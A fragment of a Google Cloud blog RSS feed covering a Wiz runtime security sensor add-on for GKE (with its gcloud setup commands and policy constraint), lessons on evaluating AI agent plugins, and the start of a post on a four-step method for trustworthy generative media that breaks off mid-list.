&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;With the add-on, GKE manages the sensor deployment, credential injection, and lifecycle updates. Building runtime protection directly into the platform reduces administrative overhead and provides the following benefits for your Kubernetes fleet:&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Native Secret Manager integration: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Security teams no longer need to distribute Wiz API keys across cluster namespaces. The add-on uses GKE's &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/secret-manager/docs/sync-k8-secrets"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Secret Manager secret sync integration&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to store your Wiz credentials in an off-cluster, centralized credential vault that only a dedicated service account can access. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;GKE automatically retrieves the credentials and injects them directly into the Runtime Sensor pods. Updating a key in Secret Manager automatically syncs to the sensor without requiring cluster restarts or manual intervention.&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong style="vertical-align: baseline;"&gt;Simplified enablement: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;After you add your Wiz credentials to Secret Manager, platform operators can enable the Runtime Sensor add-on by using the gcloud CLI or the GKE API. The GKE control plane handles deploying the sensor components, managing the lifecycle of pods, and configuring the nodes.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Secure egress and proxy support&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: For environments that restrict public internet access, the managed sensor supports standard HTTP and mTLS proxy configurations. Telemetry is routed back to Wiz without violating your egress firewall policies.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Fleet-wide governance with organization policy&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Platform security leads can enforce compliance across their entire organization using &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/organization-policy/create-custom-constraints"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;custom organization policy constraints&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;. You can use a constraint to reject any attempts to create a cluster that doesn't enable the Runtime Sensor add-on, which can prevent malicious actors from spinning up rogue infrastructure to evade runtime detection.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Kernel-level observability with minimal overhead&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: The Wiz Runtime Sensor continuously monitors system calls, running processes, network connections, and file access. It catches suspicious activity, including reverse shells, unauthorized privilege escalations, container escapes, and unsafe outbound connections while keeping CPU usage low even under heavy workload activity. &lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;The sensor uses a fixed memory limit on each node to ensure consistent performance as workload density changes. This is especially valuable for AI workloads and web services where application activity might fluctuate quickly.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Independent auto-updates&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Security threats and zero-day vulnerabilities don’t wait for scheduled infrastructure maintenance windows. The lifecycle of the Wiz sensor add-on for GKE is independent of your GKE cluster and node lifecycle. &lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;The sensor periodically rolls out updates of new sensor versions published by Wiz, to help ensure that your clusters always have the latest detection rules without requiring GKE version bumps, node pool recreations, or workload disruption.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;How it works: Deploying and enforcing the sensor&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Enabling the Wiz sensor add-on follows the same process that platform administrators are already familiar with on GKE. Using standard gcloud commands, you can activate runtime protection during cluster creation, turn it on for existing clusters, and enforce it across your fleet while keeping credentials securely managed in Secret Manager. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Check the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/security/install-wiz-sensor-addon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;setup documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; for prerequisites, such as granting GKE access to Secret Manager.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Provisioning a cluster with the Wiz Sensor add-on&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To provision a new GKE cluster with the managed Wiz sensor enabled using credentials stored in Secret Manager:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;gcloud container clusters create production-ai-cluster \\\r\n    --zone=us-central1-a \\\r\n    --release-channel=regular \\\r\n    --workload-pool=${PROJECT_ID}.svc.id.goog \\\r\n    --enable-secret-sync \\\r\n    --enable-secret-sync-rotation \\\r\n    --addons=WizSensor=ENABLED \\\r\n    --wiz-sensor-registry-secret-uri=projects/${PROJECT_ID}/secrets/wiz-registry-secret/versions/latest \\\r\n    --wiz-sensor-api-key-secret-uri=projects/${PROJECT_ID}/secrets/wiz-api-key-secret/versions/latest&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6202d0210&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To enable the sensor on an existing running cluster with Workload Identity Federation for GKE and Secret Manager secret sync enabled, run the following:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;gcloud container clusters update production-ai-cluster \\\r\n    --zone=us-central1-a \\\r\n    --update-addons=WizSensor=ENABLED \\\r\n    --wiz-sensor-registry-secret-uri=projects/${PROJECT_ID}/secrets/wiz-registry-secret/versions/latest \\\r\n    --wiz-sensor-api-key-secret-uri=projects/${PROJECT_ID}/secrets/wiz-api-key-secret/versions/latest&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6214ab510&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Enforcing fleet-wide protection with organization policy&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You can require all new GKE clusters across your organization to install the runtime sensor by deploying a &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/multi-cloud/docs/attached/generic/how-to/setup-custom-constraints"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;custom constraint&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;:&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-code"&gt;&lt;dl&gt;
    &lt;dt&gt;code_block&lt;/dt&gt;
    &lt;dd&gt;&amp;lt;ListValue: [StructValue([(&amp;#x27;code&amp;#x27;, &amp;#x27;name: organizations/123456789012/customConstraints/custom.GKEWizSensorEnforced\r\nresource_types:\r\n  - container.googleapis.com/Cluster\r\nmethod_types:\r\n  - CREATE\r\n  - UPDATE\r\ncondition: resource.addonsConfig.wizSensorConfig.enabled == true\r\naction_type: ALLOW\r\ndisplay_name: Enforce Wiz Sensor on All GKE Clusters\r\ndescription: Mandates that all GKE clusters enable the managed Wiz Runtime Sensor backed by the corporate Secret Manager vault.&amp;#x27;), (&amp;#x27;language&amp;#x27;, &amp;#x27;&amp;#x27;), (&amp;#x27;caption&amp;#x27;, &amp;lt;wagtail.rich_text.RichText object at 0x7fd6214abdd0&amp;gt;)])]&amp;gt;&lt;/dd&gt;
&lt;/dl&gt;&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Intelligent threat correlation for AI security&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The true power of this integration emerges when the managed sensor connects to the broader Wiz AI Application Protection Platform (AI-APP). By feeding GKE runtime telemetry into the Wiz Security Graph, you unlock a security toolkit that goes beyond static alerting, with:&lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Real-time risk assessment and threat verification&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: By pairing background security scans with live activity monitoring, you get a clear view of real risks. The sensor checks whether vulnerable code is actually running in memory, so you can focus on active security threats and ignore inactive ones.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Real-time threat detection and response&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Identify suspicious activity like malware, unauthorized access attempts, and software vulnerabilities in real time. Security teams can set rules to automatically block or stop threats before they can spread.&lt;/span&gt;&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Network activity and detailed security insights&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Track system activity, network connections, and data flows to uncover hidden risks and unauthorized software usage. If a threat is detected, the sensor automatically gathers diagnostic data to help teams quickly investigate what happened.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Together, these capabilities ensure that mission-critical applications and AI agents deployed on GKE are monitored for attacks and data exfiltration without compromising developer velocity.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Get started today&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The Wiz Runtime Sensor add-on for GKE delivers a standard for container security: deep, kernel-level eBPF protection without operational complexity or deployment friction.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By combining GKE's managed platform automation with Wiz's comprehensive security intelligence, platform and security teams can innovate at cloud speed while maintaining strong runtime defense. Check out the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/kubernetes-engine/security/install-wiz-sensor-addon"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Wiz Sensor for GKE documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to learn more.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/products/identity-security/wiz-sensor-for-gke-turnkey-threat-detection-for-kubernetes/</guid><category>GKE</category><category>Containers &amp; Kubernetes</category><category>Security &amp; Identity</category><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Announcing Wiz Runtime Sensor add-on for GKE: Turnkey threat detection for Kubernetes</title><description></description><site_name>Google</site_name><url>https://cloud.google.com/blog/products/identity-security/wiz-sensor-for-gke-turnkey-threat-detection-for-kubernetes/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Daniel L’Hommedieu</name><title>Sr. Product Manager</title><department></department><company></company></author><author xmlns:author="http://www.w3.org/2005/Atom"><name>Shahar Yakov</name><title>Product Team Lead, Wiz</title><department></department><company></company></author></item><item><title>Four evaluation engineering lessons learned from building agent plugins</title><link>https://cloud.google.com/blog/topics/developers-practitioners/four-eval-engineering-lessons/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The real challenge of building an agentic system isn't the construction, it's the measurement.&lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Evaluation engineering is a critical foundation for building reliable AI systems. Setting up systematic, repeatable tests to measure your agent’s true behavior can be the difference between shipping a tool you can trust and one that silently breaks, fails to call APIs, or makes mistakes. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;I’ve run evaluation engineering initiatives for years at Google and d&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;eveloping the newly released&lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/developers-practitioners/introducing-the-google-cloud-developer-plugin-for-ai-coding-agents?e=48754805"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Google Cloud Developer plugin&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; served as a live testbed to stress-test these key principles across real-world developer workflows.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Here are four eval lessons we learned from building the new plugin that you can apply to your own builds.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;1. Grade the execution steps instead of the summary&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When we first evaluated agents, we set up an LLM-as-judge to inspect the agent’s final text reply and scored it against a checklist. However, we quickly realized it’s fundamentally flawed because the grader only sees what the agent wrote, not what it actually did. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;When we ran our initial 11-prompt evaluation suite for the Google Cloud Developer plugin, the automated grader marked it as failing three prompts. But when we opened the raw tool-call logs and read the transcripts, the plugin had actually passed all three. On a Cloud Run cleanup prompt, for instance, our rubric required checking command syntax before running anything. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;The agent ran &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;gcloud help run services list&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; as its very first step. It did the work, but its final message was focused on warning the user about permanent data loss rather than reciting that it had checked the help docs.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Image_1_XmJ1pt2.max-1000x1000.png"
        
          alt="Image 1"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The grader penalized the agent for doing the right thing simply because it didn’t brag about it in the summary. If your rubric line says "did it run X?", a LLM judge is guessing unless you evaluate the actual tool-call trajectory.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Takeaway&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Don't grade an agent on its closing pitch. Score the raw execution trajectory to verify what commands were actually executed, validated, and scoped.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;2. Design evals for asynchronous operations&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;When you start reading tool-call trajectories, how you extract that telemetry matters just as much as what you're reading. Extracting agent telemetry into a flattened, sequential list of events obscures concurrent tool dispatch, which is one of the critical causes of behavioral failure. Modern agent harnesses often batch multiple tool invocations into a single assistant turn using an array of calls.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In our evaluations, when an agent was asked to inspect an environment and look up documentation, the harness dispatched the skill-loading call and two documentation searches simultaneously within a single tool_calls payload. Because activating a skill is a multi-stage process, where the initial call returns a short launch stub and the subsequent turn injects the full instruction body, the instructions meant to govern the search arrived in the prompt context after the system had already executed the searches.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_2_CHyk3qC.max-1000x1000.png"
        
          alt="image 2"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The system never gave the skill a dedicated turn to let its guidance influence the agent's actions. If telemetry pipelines strip out turn structures and merge calls into a flat timeline, engineers will waste days wondering why an agent disregarded unambiguous instructions that a developer embedded in a skill.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Takeaway&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Preserve turn structure in telemetry extractors so you can identify when client-side parallel dispatch issues tool calls before injected guidance enters the context window. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;3. Test live runs and "dry runs" side-by-side&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;You need to inspect real API calls to catch harness quirks, like parallel dispatch. But if you only test your agent in one environment condition, you're flying half-blind. From day one, you need to run two conditions side-by-side: a live run and a plan-only run. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;In the live condition, the agent has real, sandboxed credentials and actually executes commands. This is how you see if syntax works, parameters serialize cleanly, and the agent exercises restraint before doing something destructive. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Live runs frequently hit an unexpected permission error on step two and abort before you ever reach the behavior you’re trying to test. That's why you need the plan-only condition, where you strip credentials and tell the agent to explain what it would do without running anything. This strips out permission roadblocks and shows you the model’s pure reasoning and routing intent. Roughly half our most important findings came from the delta between the two.&lt;/span&gt;&lt;/p&gt;&lt;/div&gt;
&lt;div class="block-image_full_width"&gt;






  
    &lt;div class="article-module h-c-page"&gt;
      &lt;div class="h-c-grid"&gt;
  

    &lt;figure class="article-image--large
      
      
        h-c-grid__col
        h-c-grid__col--6 h-c-grid__col--offset-3
        
        
      "
      &gt;

      
      
        
        &lt;img
            src="https://storage.googleapis.com/gweb-cloudblog-publish/images/image_3_OixTmu5.max-1000x1000.png"
        
          alt="image 3"&gt;
        
        &lt;/a&gt;
      
    &lt;/figure&gt;

  
      &lt;/div&gt;
    &lt;/div&gt;
  




&lt;/div&gt;
&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;For example, on one of our onboarding prompts, a live run was blocked immediately on a project list call. The plan-only run sailed right through and produced an 8,000-character plan that completely ignored organization policies, admin approvals, and governance. The live run masked a major cognitive flaw that the plan-only run exposed in seconds.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Takeaway&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; Run live and plan-only evaluations side by side. Live runs test actual execution and safety restraint; plan-only runs expose the model's raw reasoning and routing without getting tripped up by permission errors.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;4. Use “golden sets” as durable baselines&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Frontier model architectures change every few months, agent harnesses improve, and plugin manifest standards will inevitably evolve. When building the Google Cloud Developer plugin, we treated evaluations as continuous integration testing for these non-deterministic environments. That means we stress-tested the composite stack, including the harness, the live model, and the tools running together on realistic tasks.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Instead of guessing from the final text output, this approach captures the whole trajectory: what the agent thought, what commands it actually ran, and whether it solved the problem without breaking anything. Then you score that run against golden sets curated by real human experts who know what the ideal path looks like.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Takeaway&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;: &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Build golden sets based on what the entire system should actually do in the wild, including your harness, model, and plugins. Models change, but those baseline runs are your safety net.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;Reminder: Use evaluation suites over “one-shot” demos&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;A common mistake I see among engineers is what I like to call the one-shot demo. This is when someone feeds a prompt into a LLM, watches it build a complete 3D game or solves a Rubik’s cube in a single pass and calls it an eval. But in reality, this is just a vanity metric. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To do quality work with AI, I truly believe that you need evaluation suites. Without evaluations, teams are like literally running into a dark cave blind. Engineering an enterprise-grade agent means testing the system's ability to handle multi-step interactions, manage permissions, and avoid destructive outcomes like accidentally deleting a project because you asked it to "find opportunities to save costs."&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;Where to go from here&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Building an agent plugin or MCP server is the beginning. Shipping something you can actually trust with real cloud infrastructure requires significantly more work in evaluations to ensure it’s doing what you expect it to do. At the end of the day, the only thing that outlasts model churn is a stress-tested eval suite. &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Check out the Google Cloud Developer plugin &lt;/span&gt;&lt;a href="https://g.dev/cloud/dev-setup" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;documentation&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; or explore this &lt;/span&gt;&lt;a href="https://g.dev/cloud/agent-plugins-codelab-agy" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to get started with the plugin in Antigravity.&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Fri, 16 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/developers-practitioners/four-eval-engineering-lessons/</guid><category>AI &amp; Machine Learning</category><category>Developers &amp; Practitioners</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/original_images/blog-post-banner_4eel_v2_2.png.jpg" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>Four evaluation engineering lessons learned from building agent plugins</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/original_images/blog-post-banner_4eel_v2_2.png.jpg</image><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/developers-practitioners/four-eval-engineering-lessons/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Casey West</name><title>Developer Relations Lead, AI Infrastructure &amp; Applied Engineering, Google Cloud</title><department></department><company></company></author></item><item><title>The SAVE method: Learn the fundamentals to engineer trustworthy generative media</title><link>https://cloud.google.com/blog/topics/consulting/fundamentals-to-engineer-trustworthy-gen-media/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Google Cloud Consulting works with organizations every day to build generative media that’s trustworthy, brand-aligned, and stands out. Instead of relying on clever or complicated prompting, we’ve identified four recurring basics to generate consistent results, what we call the “SAVE” method. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;In this blog, we’ll share more about this method and how you can apply it to your own work. &lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;span style="vertical-align: baseline;"&gt;S&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; - Separate the researcher from the storyteller&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If in a single prompt, if you’re requesting a technical summary, key product features, and an engaging video script all at once, you’re setting the model up to fail. Creative tasks require fluid language and pacing, while factual output requires constraint. Forcing both jobs into one context window will likely end with the model fabricating details to make the narrative flow better.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Instead of one prompt, consider splitting the work into specialized steps, like a researcher and a storyteller. Here’s how they might work together: &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;The researcher&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; reads the source documents, extracts core claims, aligns with approved messaging, and outputs a structured brief (like a clean checklist or bulleted factsheet).&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong style="vertical-align: baseline;"&gt;The storyteller&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; then takes that verified brief and focuses purely on style, pacing, visual metaphors, and tone.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;By decoupling research from your creative generation, your agent is never tasked with deciding what’s true, but how to make the truth more engaging and effective.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;A&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; - Approve verified facts only&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;If you hand a creative generative model documents that are unedited, it might mix up speculative ideas with business facts. The media generator should never have direct access to raw source files. It should only use verified, structured inputs. To avoid this: &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Lock down core claims&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Approved statements, product names, and concrete business outcomes should be fixed upstream rather than left for the model to extract on the spot.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Champion contextual packaging&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;: Pass each fact along with its explicit constraints included. Examples may include things like "use this point in the opening statement" or "do not extrapolate beyond this approved bullet point."&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;This way, you ground the generation in verified facts and reduce the risk of unsupported claims entering the creative generation stage.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;V&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; - Verify before you render&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Discovering a factual error in an animated video or rendered asset after the final export wastes both compute budget and turnaround time. The most effective human-in-the-loop checkpoint is right before generation begins.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;To fix this, review the script and storyboard. Have product leads or legal teams sign off on the extracted facts, narrative outline, and voiceover text while it’s still simple, editable text. This way, you can catch errors early. Swapping an outdated feature name or fixing a typo takes two seconds in a text file. &lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Treat text as your testing ground. Once approved, generating the final media becomes a low-risk, predictable step.&lt;/span&gt;&lt;/p&gt;
&lt;h3 style="text-align: justify;"&gt;&lt;span style="vertical-align: baseline;"&gt;E&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; - Engineer guardrails into the system&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Telling a model to “keep voiceover word count short, never reference unapproved topics, and format links correctly" in a prompt works until it doesn’t, and an edge case slips through. Relying on prompt obedience for brand safety is a gamble and can damage trust.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Where requirements can be checked deterministically, enforce them in the system rather than relying only on prompt instructions. For example, try these three actions first: &lt;/span&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
